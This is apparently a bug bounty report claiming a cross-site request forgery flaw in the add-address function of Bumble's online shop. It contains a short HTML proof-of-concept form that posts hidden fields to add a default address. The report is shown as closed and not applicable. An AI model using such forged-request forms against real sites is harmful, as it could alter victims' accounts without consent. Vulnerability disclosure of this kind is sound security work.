CSRF bug
B
Bumble
Submitted None
Actions:
Reported by
dark_heaven
Vulnerability Details
Technical details and impact analysis
Sir Recently I found a bug on add address. Check my exploit. It address can be default. I hope you will fix this as soon as possible
<html>
<body>
<form action="https://shop.bumble.com/account/addresses" method="POST">
<input type="hidden" name="form_type" value="customer_address" />
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="address[first_name]" value="Rahamat" />
<input type="hidden" name="address[last_name]" value="Shah" />
<input type="hidden" name="address[company]" value="dark" />
<input type="hidden" name="address[address1]" value="12/45" />
<input type="hidden" name="address[address2]" value="" />
<input type="hidden" name="address[city]" value="newyor" />
<input type="hidden" name="address[country]" value="United States" />
<input type="hidden" name="address[province]" value="Alabama" />
<input type="hidden" name="address[zip]" value="" />
<input type="hidden" name="address[phone]" value="" />
<input type="hidden" name="address[default]" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
Cross-Site Request Forgery (CSRF)